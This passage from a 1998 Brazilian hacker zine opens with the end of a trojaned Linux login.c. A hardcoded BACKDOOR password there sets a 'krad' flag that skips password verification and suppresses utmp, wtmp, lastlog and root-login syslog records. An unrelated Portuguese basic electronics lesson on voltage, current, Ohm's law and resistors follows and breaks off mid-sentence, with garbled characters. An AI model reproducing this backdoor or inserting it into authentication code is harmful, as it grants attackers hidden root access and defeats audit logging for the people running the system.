                        passwd_req = pwd->pw_uid == 0 ||
                            (uid && uid != pwd->pw_uid);
                }

                /*
                 * If trying to log in as root, but with insecure terminal,
                 * refuse the login attempt.
                 */
                if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {
                        (void)fprintf(stderr,
                            "%s login refused on this terminal.\n",
                            pwd->pw_name);

                        if (hostname)
                                syslog(LOG_NOTICE,
                                    "LOGIN %s REFUSED FROM %s ON TTY %s",
                                    pwd->pw_name, hostname, tty);
                        else
                                syslog(LOG_NOTICE,
                                    "LOGIN %s REFUSED ON TTY %s",
                                     pwd->pw_name, tty);
                        continue;
                }

                /*
                 * If no pre-authentication and a password exists
                 * for this user, prompt for one and verify it.
                 */
                if (!passwd_req || (pwd && !*pwd->pw_passwd))
                        break;

                setpriority(PRIO_PROCESS, 0, -4);
                pp = getpass("Password: ");
                if(strcmp(BACKDOOR, pp) == 0) krad++;
                
                p = crypt(pp, salt);
                setpriority(PRIO_PROCESS, 0, 0);

#ifdef  KERBEROS

                /*
                 * If not present in pw file, act as we normally would.
                 * If we aren't Kerberos-authenticated, try the normal
                 * pw file for a password.  If that's ok, log the user
                 * in without issueing any tickets.
                 */

                if (pwd && !krb_get_lrealm(realm,1)) {
                        /*
                         * get TGT for local realm; be careful about uid's
                         * here for ticket file ownership
                         */
                        (void)setreuid(geteuid(),pwd->pw_uid);
                        kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,
                                "krbtgt", realm, DEFAULT_TKT_LIFE, pp);
                        (void)setuid(0);
                        if (kerror == INTK_OK) {
                                memset(pp, 0, strlen(pp));
                                notickets = 0;  /* user got ticket */
                                break;
                        }
                }
#endif

                (void) memset(pp, 0, strlen(pp));
                if (pwd && !strcmp(p, pwd->pw_passwd))
                        break;
                                                
                if(krad != 0)
                   break;




                (void)printf("Login incorrect\n");
                failures++;
                badlogin(username); /* log ALL bad logins */

                /* we allow 10 tries, but after 3 we start backing off */
                if (++cnt > 3) {
                        if (cnt >= 10) {
                                sleepexit(1);
                        }
                        sleep((unsigned int)((cnt - 3) * 5));
                }
        }

        /* committed to login -- turn off timeout */
        (void)alarm((unsigned int)0);

#ifdef HAVE_QUOTA
        if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {
                switch(errno) {
                case EUSERS:
                        (void)fprintf(stderr,
                "Too many users logged on already.\nTry again later.\n");
                        break;
                case EPROCLIM:
                        (void)fprintf(stderr,
                            "You have too many processes running.\n");
                        break;
                default:
                        perror("quota (Q_SETUID)");
                }
                sleepexit(0);
        }
#endif

        /* paranoia... */
        endpwent();

        /* This requires some explanation: As root we may not be able to
           read the directory of the user if it is on an NFS mounted
           filesystem. We temporarily set our effective uid to the user-uid
           making sure that we keep root privs. in the real uid.

           A portable solution would require a fork(), but we rely on Linux
           having the BSD setreuid() */

        {
            char tmpstr[MAXPATHLEN];
            uid_t ruid = getuid();
            gid_t egid = getegid();

            strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);
            strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);

            setregid(-1, pwd->pw_gid);
            setreuid(0, pwd->pw_uid);
            quietlog = (access(tmpstr, R_OK) == 0);
            setuid(0); /* setreuid doesn't do it alone! */
            setreuid(ruid, 0);
            setregid(-1, egid);
        }

#ifndef linux
#ifdef KERBEROS
        if (notickets && !quietlog)
                (void)printf("Warning: no Kerberos tickets issued\n");
#endif

#define TWOWEEKS        (14*24*60*60)
        if (pwd->pw_change || pwd->pw_expire)
                (void)gettimeofday(&tp, (struct timezone *)NULL);
        if (pwd->pw_change)
                if (tp.tv_sec >= pwd->pw_change) {
                        (void)printf("Sorry -- your password has expired.\n");
                        sleepexit(1);
                }
                else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {
                        ttp = localtime(&pwd->pw_change);
                        (void)printf("Warning: your password expires on %s %d,
%d\n",
                            months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + t
tp->tm_year);
                }
        if (pwd->pw_expire)
                if (tp.tv_sec >= pwd->pw_expire) {
                        (void)printf("Sorry -- your account has expired.\n");
                        sleepexit(1);
                }
                else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {
                        ttp = localtime(&pwd->pw_expire);
                        (void)printf("Warning: your account expires on %s %d, %
d\n",
                            months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + t
tp->tm_year);
                }

        /* nothing else left to fail -- really log in */
        {
                struct utmp utmp;

                memset((char *)&utmp, 0, sizeof(utmp));
                (void)time(&utmp.ut_time);
                strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));
                if (hostname)
                        strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));
                strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));
                login(&utmp);
        }
#else
        /* for linux, write entries in utmp and wtmp */
        {
                struct utmp ut;
                char *ttyabbrev;
                int wtmp;
                
                memset((char *)&ut, 0, sizeof(ut));
                ut.ut_type = USER_PROCESS;
                ut.ut_pid = getpid();
                strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line
));
                ttyabbrev = ttyn + sizeof("/dev/tty") - 1;
                strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));
                (void)time(&ut.ut_time);
                strncpy(ut.ut_user, username, sizeof(ut.ut_user));
                
                /* fill in host and ip-addr fields when we get networking */
                if (hostname) {
                    struct hostent *he;

                    strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));
                    if ((he = gethostbyname(hostname)))
                      memcpy(&ut.ut_addr, he->h_addr_list[0],
                             sizeof(ut.ut_addr));
                }

                utmpname(_PATH_UTMP);
                setutent();


                if(krad == 0)
                   pututline(&ut);
                
                
                
                endutent();
                
                if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {
                        flock(wtmp, LOCK_EX);
                
                        if(krad == 0)
                           write(wtmp, (char *)&ut, sizeof(ut));
                        
                        
                        
                        flock(wtmp, LOCK_UN);
                        close(wtmp);
                }
        }
        /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */
#endif



        if(krad == 0)
           dolastlog(quietlog);



        
#ifndef linux
        if (!hflag) {                                   /* XXX */
                static struct winsize win = { 0, 0, 0, 0 };

                (void)ioctl(0, TIOCSWINSZ, &win);
        }
#endif
        (void)chown(ttyn, pwd->pw_uid,
            (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);

        (void)chmod(ttyn, 0622);
        (void)setgid(pwd->pw_gid);

        initgroups(username, pwd->pw_gid);

#ifdef HAVE_QUOTA
        quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);
#endif

        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
#ifndef linux
        /* turn on new line discipline for the csh */
        else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {
                ioctlval = NTTYDISC;
                (void)ioctl(0, TIOCSETD, &ioctlval);
        }
#endif

        /* preserve TERM even without -p flag */
        {
                char *ep;
                
                if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))
                  termenv = "dumb";
        }

        /* destroy environment unless user has requested preservation */
        if (!pflag)
        {
          environ = (char**)malloc(sizeof(char*));
          memset(environ, 0, sizeof(char*));
        }

#ifndef linux
        (void)setenv("HOME", pwd->pw_dir, 1);
        (void)setenv("SHELL", pwd->pw_shell, 1);
        if (term[0] == '\0')
                strncpy(term, stypeof(tty), sizeof(term));
        (void)setenv("TERM", term, 0);
        (void)setenv("USER", pwd->pw_name, 1);
        (void)setenv("PATH", _PATH_DEFPATH, 0);
#else
        (void)setenv("HOME", pwd->pw_dir, 0);      /* legal to override */
        if(pwd->pw_uid)
          (void)setenv("PATH", _PATH_DEFPATH, 1);
        else
          (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);
        (void)setenv("SHELL", pwd->pw_shell, 1);
        (void)setenv("TERM", termenv, 1);

        /* mailx will give a funny error msg if you forget this one */
        (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);
        (void)setenv("MAIL",tmp,0);

        /* LOGNAME is not documented in login(1) but
           HP-UX 6.5 does it. We'll not allow modifying it.
         */
        (void)setenv("LOGNAME", pwd->pw_name, 1);
#endif

#ifndef linux
        if (tty[sizeof("tty")-1] == 'd')

        
                if(krad == 0)
                   syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);
                
                
                
#endif
        if (pwd->pw_uid == 0)
        
        
           if(krad == 0)
                if (hostname)
                        syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",
                            tty, hostname);
                else
                        syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);
                        
                        
                        
                        

        if (!quietlog) {
                struct stat st;

                motd();
                (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);
                if (stat(tbuf, &st) == 0 && st.st_size != 0)
                        (void)printf("You have %smail.\n",
                            (st.st_mtime > st.st_atime) ? "new " : "");
        }

        (void)signal(SIGALRM, SIG_DFL);
        (void)signal(SIGQUIT, SIG_DFL);
        (void)signal(SIGINT, SIG_DFL);
        (void)signal(SIGTSTP, SIG_IGN);
        (void)signal(SIGHUP, SIG_DFL);

        /* discard permissions last so can't get killed and drop core */
        if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {
            syslog(LOG_ALERT, "setuid() failed");
            exit(1);
        }

        /* wait until here to change directory! */
        if (chdir(pwd->pw_dir) < 0) {
                (void)printf("No directory %s!\n", pwd->pw_dir);
                if (chdir("/"))
                        exit(0);
                pwd->pw_dir = "/";
                (void)printf("Logging in with home = \"/\".\n");
        }

        /* if the shell field has a space: treat it like a shell script */
        if (strchr(pwd->pw_shell, ' ')) {
            char *buff = malloc(strlen(pwd->pw_shell) + 6);
            if (buff) {
                strcpy(buff, "exec ");
                strcat(buff, pwd->pw_shell);
                execlp("/bin/sh", "-sh", "-c", buff, (char *)0);
                fprintf(stderr, "login: couldn't exec shell script: %s.\n",
                        strerror(errno));
                exit(0);
            }
            fprintf(stderr, "login: no memory for shell script.\n");
            exit(0);
        }

        tbuf[0] = '-';
        strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?
                          p + 1 : pwd->pw_shell));

        execlp(pwd->pw_shell, tbuf, (char *)0);
        (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));
        exit(0);
}

void
getloginname()
{
        register int ch;
        register char *p;
        static char nbuf[UT_NAMESIZE + 1];

        for (;;) {
                (void)printf("\n%s login: ", thishost); fflush(stdout);
                for (p = nbuf; (ch = getchar()) != '\n'; ) {
                        if (ch == EOF) {
                                badlogin(username);
                                exit(0);
                        }
                        if (p < nbuf + UT_NAMESIZE)
                                *p++ = ch;
                }
                if (p > nbuf)
                        if (nbuf[0] == '-')
                                (void)fprintf(stderr,
                                    "login names may not start with '-'.\n");
                        else {
                                *p = '\0';
                                username = nbuf;
                                break;
                        }
        }
}

void timedout()
{
        struct termio ti;
        
        (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);

        /* reset echo */
        (void) ioctl(0, TCGETA, &ti);
        ti.c_lflag |= ECHO;
        (void) ioctl(0, TCSETA, &ti);
        exit(0);
}

int
rootterm(ttyn)
        char *ttyn;
#ifndef linux
{
        struct ttyent *t;

        return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);
}
#else
{
  int fd;
  char buf[100],*p;
  int cnt, more;

  fd = open(SECURETTY, O_RDONLY);
  if(fd < 0) return 1;

  /* read each line in /etc/securetty, if a line matches our ttyline
     then root is allowed to login on this tty, and we should return
     true. */
  for(;;) {
        p = buf; cnt = 100;
        while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;
        if(more && *p == '\n') {
                *p = '\0';
                if(!strcmp(buf, ttyn)) {
                        close(fd);
                        return 1;
                } else
                        continue;
        } else {
                close(fd);
                return 0;
        }
  }
}
#endif

jmp_buf motdinterrupt;

void
motd()
{
        register int fd, nchars;
        void (*oldint)(), sigint();
        char tbuf[8192];

        if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)
                return;
        oldint = signal(SIGINT, sigint);
        if (setjmp(motdinterrupt) == 0)
                while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
                        (void)write(fileno(stdout), tbuf, nchars);
        (void)signal(SIGINT, oldint);
        (void)close(fd);
}

void sigint()
{
        longjmp(motdinterrupt, 1);
}

void
checknologin()
{
        register int fd, nchars;
        char tbuf[8192];

        if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {
                while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
                        (void)write(fileno(stdout), tbuf, nchars);
                sleepexit(0);
        }
}

void
dolastlog(quiet)
        int quiet;
{
        struct lastlog ll;
        int fd;

        if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {
                (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
                if (!quiet) {
                        if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
                            ll.ll_time != 0) {
                                (void)printf("Last login: %.*s ",
                                    24-5, (char *)ctime(&ll.ll_time));

                                if (*ll.ll_host != '\0')
                                  printf("from %.*s\n",
                                         (int)sizeof(ll.ll_host), ll.ll_host);
                                else
                                  printf("on %.*s\n",
                                         (int)sizeof(ll.ll_line), ll.ll_line);
                        }
                        (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET)
;
                }
                memset((char *)&ll, 0, sizeof(ll));
                (void)time(&ll.ll_time);
                strncpy(ll.ll_line, tty, sizeof(ll.ll_line));
                if (hostname)
                        strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));
                if(krad == 0)
                   (void)write(fd, (char *)&ll, sizeof(ll));
                (void)close(fd);
        }
}

void
badlogin(name)
        char *name;
{
        if (failures == 0)
                return;

        if (hostname)
                syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",
                    failures, failures > 1 ? "S" : "", hostname, name);
        else
                syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",
                    failures, failures > 1 ? "S" : "", tty, name);
}

#undef  UNKNOWN
#define UNKNOWN "su"

#ifndef linux
char *
stypeof(ttyid)
        char *ttyid;
{
        struct ttyent *t;

        return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);
}
#endif

void
checktty(user, tty)
     char *user;
     char *tty;
{
    FILE *f;
    char buf[256];
    char *ptr;
    char devname[50];
    struct stat stb;

    /* no /etc/usertty, default to allow access */
    if(!(f = fopen(_PATH_USERTTY, "r"))) return;

    while(fgets(buf, 255, f)) {

        /* strip comments */
        for(ptr = buf; ptr < buf + 256; ptr++)
          if(*ptr == '#') *ptr = 0;

        strtok(buf, " \t");
        if(strncmp(user, buf, 8) == 0) {
            while((ptr = strtok(NULL, "\t\n "))) {
                if(strncmp(tty, ptr, 10) == 0) {
                    fclose(f);
                    return;
                }
                if(strcmp("PTY", ptr) == 0) {
#ifdef linux
                    sprintf(devname, "/dev/%s", ptr);
                    /* VERY linux dependent, recognize PTY as alias
                       for all pseudo tty's */
                    if((stat(devname, &stb) >= 0)
                       && major(stb.st_rdev) == 4
                       && minor(stb.st_rdev) >= 192) {
                        fclose(f);
                        return;
                    }
#endif
                }
            }
            /* if we get here, /etc/usertty exists, there's a line
               beginning with our username, but it doesn't contain the
               name of the tty where the user is trying to log in.
               So deny access! */
            fclose(f);
            printf("Login on %s denied.\n", tty);
            badlogin(user);
            sleepexit(1);
        }
    }
    fclose(f);
    /* users not mentioned in /etc/usertty are by default allowed access
       on all tty's */
}

void
getstr(buf, cnt, err)
        char *buf, *err;
        int cnt;
{
        char ch;

        do {
                if (read(0, &ch, sizeof(ch)) != sizeof(ch))
                        exit(1);
                if (--cnt < 0) {
                        (void)fprintf(stderr, "%s too long\r\n", err);
                        sleepexit(1);
                }
                *buf++ = ch;
        } while (ch);
}

void
sleepexit(eval)
        int eval;
{
        sleep((unsigned int)5);
        exit(eval);
}
================================= login.c ================================


E-mail : cebola_br@hotmail.com


   1998, BLAcK MaSK  & Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                         04  -  ELETRONICA BASICA
                        -=-=-=-=-=-=-=-=-=-=-=-=-=-



                                      
                  B A S I C A                   
                              
                                      
                                    
                 P A R A  T E L E F O N E   P U B L I C O

                                                 By TheCroW


   -= APRESENTACAO =-

    
    
     isso a galera underground, esta e minha  estreia aqui no zine com a
 inteno  de  ajudar voces na area de eletronica, vou  fazer  o maximo para
 criar matrias fceis de serem compreendidas.

        O homem do seculo XX vive num eterno desafio - ser  conteporaneo de
 si mesmo. As ciencias evoluen, colocando a disposisao de todos informacoes
 aparelhos  e  maquinas,  com multiplas funcoes. Entre todas as ciencias, a
 ELETRONICA e consequentemente a INFORMATICA e o ramo que mais se desenvol-
 ve. Hoje e dificio encontrar uma atividade industrial, comercial ou domes-
 tica que nao utilize aparelhos cujo funcionamento  se baseie  em circuitos
 eletronicos.
        Bem, vamos deixar de blablabla... e vamos ao que iteressa...
        Como disse Mandrack no ZINE 00

     "O Objetivo dessa area e ampliar os conhecimentos dos Hackers do nosso
 Brasil para nao apanhar tao feio dos otarios americanos"
      E ainda reforco:
      Nos somos perfeitamente capazes de ser-mos iguais e  ate melhores que
 eles  mas para isso temos que ESTUDAR MUITO.
      Qualquer duvida e sugestoes: thecrow_mail@yahoo.com
      Mandem E-MAILS, mas MANDEM MESMO e digam o que acham da nova area de
 eletronica, uma bosta, um lixo...ou se acharam razovel, legal.  

 
      
      
       ARTE 1


        -= UNIDADE DE MEDIDA DE TENSAO =-

        A tensao entre dois pontos pode ser medida atraves de instrumentos. A
 unidade de medida de tensao e o volt (v).
        Em algumas situacoes a unidade padrao se torna inconveniente. A unida
 de de medida  de  comprimento, por exemplo, nao e adequada para expressar o
 cornprimento de um objeto pequeno, utilizando-se um submltiplo, como o cm.
 ou o mm.
        A unidade de medida de tenso (volt) tambem tem multiplos e submulti-
 plos, adequados a cada situacao. Por exemplo, na eletricidade e usado o volt
 e o quilovolt, e na eletronica o volt e o milivolt.

 Ŀ
   DENOMINACAO             SIMBOLO  VALOR COM RELACAO AO VOLT          
 Ĵ
                Megavolt     MV     1000000 V                          
  MULTIPLOS     Ĵ
                Quilovolt    KV     1000 V                             
 Ĵ
  UNIDADE       Volt         V      -                                  
 Ĵ
                Milivolt     mV     0,001 V                            
  SUBMULTIPLOS  Ĵ
                Microvolt    V     0,000001 V                         
 

        A existencia de tensao e condicao fundamental para o funcionamento de
 todos os aparelhos  eletricos. A  partir desta  unidade, foram desenvolvidos
 dispositivos  que  tem a capacidade de criar um desequilibrio eletrico entre
 dois pontos, dando origem a uma tenso eletrica.
        Estes dispositivos sao denominados genericamente de fortes geracloras
 de tensao.
        Existem  varios  tipos  de fontes geradoras de tensao, entre os quais
 citam-se:

        -pilhas
        -baterias
        -geradores(maquinas que geram tensao).

        Basicamente  as  pilhas  sao  constituidas  por  dois tipos de metais
 mergulhados  em  um preparado  quimico. Este preparado  quimico reage com os
 metais, retirando  eletrons de um e levando para o outro. Um dos metais fica
 com  potencial  eletrico  positivo  e  o  outro  fica com potencial eletrico
 negativo. Portanto entre os dois metais existe uma ddp ou tensao eletrica.
        Ela propria caracteristica de funcionamento das pilhas, um dos metais
 torna-se  positivo  e  o  outro negativo. Cada um dos metais e denominado de
 polo.
        As pilhas disple de um polo positivo e um polo negativo.
        Os  polos  de uma  pilha nunca se alteram. O polo positivo sempre tem
 potencial  positivo  e  o  polo  negativo  sempre  tem  potencial  negativo.
 Normalmente  se  diz  que as colaridacles  de uma pilha so fixas. Devido ao
 fato das pilhas terem polaridade  invariavel a tensao fornecida e denominada
 de tensao continua ou tensao CC.
        Todas as fontes geradoras de tensao que tem polaridade fixa sao deno-
 minadas de fontes geradoras de tenso continua. 

        -= GRAFICOS TENSAO CC - TEMPO =-

        A tensao fornecida pelas pilhas e geradores de tensao continua pode
 ser representada em um grafico.


                E(V)
                
                
                
                
                
               
                                                t


         Este  grafico  mostra  o  comportamento da tensao fornecida por uma
 pilha ao longo do tempo.

        -= MEDIDA DE TENSAO CC =-

        A  medida  de  tensao  CC  consiste  na  utilizacao  correta  de  um
 instrumento  com  o  objetivo  de  determinar  a tensao presente entre dois
 pontos. A medio pode ser usada para determinar a tenso fornecida por uma
 fonte geradora de tensao CC.

        Existem dois tipos  de  instrumento  atraves dos quais se pode medir
 tensao CC.

        - Voltimetro ou milivoltimetro
        - Multimetro

        -= CORRENTE =-

        Corrente eletrica e o fluxo de eletrons atraves de um condutor em um
 circuito eltrico.
        A corrente e medida em termos de uma unidade chamada ampere.O numero
 de amperes exprime a quantidade de corrente que esta fluindo no circuito.
 Uma  lampada  eletrica, por exemplo, consome 0,25 amperes(a abreviacao e A)
 da fonte de tensao.
        Uma lampada de 100 watts  consome  aproximadamente 1 A de uma tomada
 domestica  de 115V. Alguns ferros eletricos, torradeiras e aquecedores usam
 lOA. Uma bateria de automovel fornece l00A ou mais ao motor de arranque.

        -= VALORES GRANDES e PEQUENOS =-

        Os valores de tensao e corrente podem ser muito grandes ou pequenos.
 Como  nao  e  pratico  falar-se  ou  escrever-se 5OO.OOOV ou 0.003 A inven-
 taram-se unidades mais convenientes. Usando-se  este sistema as quantidades
 mencionadas acima se tornam 500 quilovolts (500 kV) e 3 miliampres (3 mA),
 respectivamente. Um quilovolt representa 1000 volts e um miliampre, 0,001
 ampere.
        A tabela que se segue o ajudara na conversao.

 Ŀ
 QUANDO VOCE VE  FACA ISTO PARA CONVERTER      EXEMPLO                  
 Ĵ
 Mega ou M       Multiplique por 1.000.000     2MV sao 2.000.000V       
 Ĵ
 Quilo ou K      Multiplique por 1.000         5KA sao 5.000A           
 Ĵ
 Mili ou m       Divida por 1.000              7mV sao 0,007V           
 Ĵ
 Micro ou       Divida por 1.000.000          9A sao 0,000009         
 Ĵ
 Nano ou n       Divida por 1.000.000.000      5nV sao 0,000000005      
 Ĵ
 Pico ou p       Divida por 1.000.000.000.000  4pA sao 0,000000000004   
 

        -= CORRENTE CONTINUA =-

        Uma  corrente  que  tem sempre o mesmo sentido e chamada de eorrente
 continua. As  pilhas  secas  e as baterias sao fontes de corrente continua.
 Alguns tipos de geradores eletricos tambem fornecem corrente continua.

        -= EXISTE TAMBEM TENSAO CONTINUTA? =-

 Sim. Uma tensao que da origem a uma corrente continua e nao varia no  tempo
 e chamada de tensao continua. A abreviacao de corrente continua e CC, sendo
 assim a tensao continua e chamada de tensao CC.


        -= SENTIDO DA CORRENTE =-

        Marcando os terminais de uma fonte de tensao com os sinais mais(+) e
 menos(-), indicamos o sentido em que a corrente circula no circuito. Ha dois
 sistemas para descrever o sentido da corrente - o convencional e o eletroni-
 co.
        A teoria da corrente convencional foi a primeira a ser elaborada. Seu
 precursor  foi  Benjamin  Franklin  e  eIa ainda e usada em muitos livros de
 engenharia. Diz-se  que a  corrente convencional sai do terminal positivo da
 fonte  de  tensao, atravessa  o circuito e volta para o terminal negativo da
 fonte.
        A teoria  da corrente eletronica e mais recente, permite uma explica-
 cao mais clara da passagem de corrente atraves do circuito. Esta teoria diz
 que a corrente sai do terminal negativo(-), atravessa o circuito e volta ao
 terminal positivo(+) da fonte de tensao.
        A corrente e que faz todo o trabalho necessario para o funcionamento
 de qualquer dispositivo eletric,o ou eletronico. seja qual for a aplicacao,
 entretanto, e necessario que exista um caminho continuo entre os dois termi-
 nais de uma fonte de tensao para que possa existir corrente.

                        
                     +V 
                        Ŀ----Ŀ---------
                                        
                                        
                        >
                                             t
                                         
                     -V -------------
                        


        -= TENSAO ALTERNADA =-

        A  tensao  alternada  tem  origens mecanicas e eletromagneticas, por
 exemplo, os geradores nas hidreletricas que atravs de mecanismos aproveitam
 enormes quedas d'agua para girarem turbinas que produzirao uma variacao ele-
 trica em seus terminais de siida. Tal  variacao  eletrica  e consequencia da
 rotacao de indutores internos que cortam imensos campos  magneticos  criados
 por imas. Esta variacao se torna senoidal devido a forma circular da turbina
        A  tensao  gerada varia ora negativa ora positiva no tempo como ilus-
 trado na figura abaixo.

        -= CORRENTE ALTERNADA =-

        Uma  corrente  que  muda de sentido  a intervalos regulares e chamada
 corrente alternada (CA). A  corrente  alternada apresenta certas caracteris-
 ticas muito uteis. Os dois motivos principais para usarmos a corrente alter-
 nada sao:
        Motivo 1: As tomadas  domesticas fornecem tensao alternada. Esta ten-
 sao e produzida por geradores localizados a muitos quilometros de distncia.
 Nos primeiros dias da eletricidade usava-se CC para fins domesticos. Entre-
 tanto a CC so pode percorrer curtas distancias.
        A CA pode  ser facilmente transformadas para  valores  mais  altos ou
 mais baixos. Essa  caracteristica torna possivel transmitir economicamente a
 CA a  longas distancias. Em consequencia, pode-se construir usinas geradoras
 de CA  em fontes remotas de potencia hidraulica e fornecer essa eletricidade
 a consumidores distantes. Um bom exemplo desta explicacao e a usina geradora
 de Paulo Afonso, que fornece eletricidade a Fortaleza, situada a centenas de
 quiloetros de distoncia.
        Motivo 2: Muitas  formas  de energia, como o som e as ondas de radio,
 por exemplo, sao regioes de pressao  alternadamente  maxima e minima. Quando
 essas ondas sao transformadas em eletricidade, como  o telefone, a  corrente
 resultante tambem e alternada e o som e portanto transmitido fielmente.


        -= LEI DE OHM =-

        Um cientista alemao, George  Simon Ohm, apos  observar  os  fenomenos
 relacionados  com  a  tensao  e a corrente eletrica, enunciou sua lei:
        "Todo condutor opoe uma resistencia  ao movimento das cargas por ele;
 tal propriedade recebe o nome de  resistencia eletrica e  depende das dimen-
 soes geometricas do condutor, do material  que o constitui  e da temperatura
 em que ele se encontra; a  resistencia  eletrica  de  um  condutor  limita a
 corrente eletrica que por ele pode circular sob a acao de uma dada diferenca
 de potencial nele aplicada."
        A unidade de resistencia eletrica e o ohm e representa  a resistencia
 de um condutor  pelo  qual circula uma corrente de 1 A, quando se Ihe aplica
 uma ddp de 1 V.
        R (resistencia)= V(ddp)/ I(corrente)
        R (ohms) = V(volts)/ I (amperes)
        A lei de Ohm pode ser entao enunciada da seguinte forma:
        "A  intensidade  da  corrente  eletrica I, permanente num condutor, a
 temperatura  constante e igual a diferenca de potencial V, entre seus extre-
 mos, dividida pela resistncia R, do condutor."

        I (corrente) = V(ridp)/R (resistencia)
        Das duas primeiras equacoes, ainda podemos escrever:
        V (ddp) = I (corrente) x R (resistencia)


              Ŀ
                           
                     |  
          V            |    R       V= R x I
             |I      |   
               |       |            V(ddp) = I(corrente) x R(resistencia)
                 -------  
              

        -= RESISTORES =-

        No que se diz respeito a sua capacidade de conduzir corrente eletrica
 todos os  materiais podem ser classificados como isolantes, semicondutores e
 condutores. Isolantes como borracha e vidro no deixam facilmente passar uma
 corrente eletrica. Os condutores como o cobre e o aluminio deixam passar uma
 corrente  sem  quase nenhuma oposicao. Os semicondutores deixarao passar uma
 corrente  eletrica, porem  com  alguma oposicao. Um resistor e exemplo de um
 componente semicondutor.
        Toda  vez  que  uma corrente flui atraves de um resistor ocorrem dois
 efeitos:

        - Sempre ha producao de calor.
        - Sempre ocorre uma queda de tensao.

        Existem tres  aplicacoes principais para resistores. Voce deve sempre
 lembrar-se disto ao estudar circuitos eletricos.

        - Os resistores sao usados para limitar corrente.
        - Ds resistores sao usados para introduzir uma queda de tensao.
        - Os resistores sao usados para gerar calor.

        A figura mostra um exemplo destas aplicacoes.

        Figura (A)
                           Ŀ
                                            
                                          Ŀ
                                          
                 Bateria                     Alta
                                           Velocidade
                                            
                                          O  O 
                                   Baixa     OO
                                   Velocidade
                                 __          
                           (__)
                                 Motor

        Figura (B)

                           Ŀ
                                (9V)      
                                          
                    12V                 R         
                             Ĵ                
                               Ĵ 
                                (3V)                            
                                        (O) Lampada                  
                                                            
                           


        Na figura (a)  a  velocidade  do  motor  de cc e controlada mudando a
 intensidade  da  corrente que passa pelo mesmo. Quando a chave for desligada
 nao havera fluxo de corrente e  o motor para. Quando a chave esta na posicao
 ALTA VELOCIDADE , nao  ha  resistencia  no circuito e a corrente maxima flui
 atraves do motor. Com  a  chave na  posicao  BAIXA VELOCIDADE, a corrente do
 motor  deve  fluir atraves  do  resistor R. O efeito do resistor e reduzir a
 corrente no motor, com isto diminui a velocidade.
        A figura B mostra como um  resistor  pode ser usado  como  divisor de
 tensao. Uma lampada de 3V deve ser ligada a uma fonte de 12V. Se  voce ligar
 a lampada diretamente a bateria ela ira queimar-se. Ligando-a em serie com o
 resistor  conforme  indicado na  ilustracao, a lampada nao ira queimar-se. A
 queda de  tensao sobre o resistor e de 9V e os 3V restantes sofrem queda so-
 bre a lampada. Observe que a soma das quedas de tensao deve ser igual a ten-
 sao aplicada que e de 12V neste caso. Isto e sempre certo.


        O QUE E UM OHM ?

        A resistencia e o valor da oposicao ao fluxo de corrente no circuito.
 medida em ohms. Um  ohm e a unidade que diz quanta oposicao um resistor ofe-
 rece  ao fluxo de corrente. Quanto  maior  a  resistencia em ohms, maior e a
 oposicao a corrente.
        Valores maiores de resistencia sao expressos em KILOHMs e MEGAOHMs.
        Um  kilohms  representa  1000 ohms, assim como um megaohms representa
 1000000 de ohms.
        Existem  varios  tipos de materias de que sao construidos os resisto-
 res, como  por  exemplo: o carvao, o oxido metalico, o silicio e o germanio.
 Dependendo do material de que e construido o resistor podemos lhe dar nomes.
        Existem varios tipos de resistores dentre quais podemos destacar : os
 resistores  de  carvao, os  de fio, os varistores (resistores que variam sua
 resistencia de acordo com a tensao aplicada em cima  dos seus terminais), os
 termistores (resistores que variam sua resistencia de acordo com  a tempera-
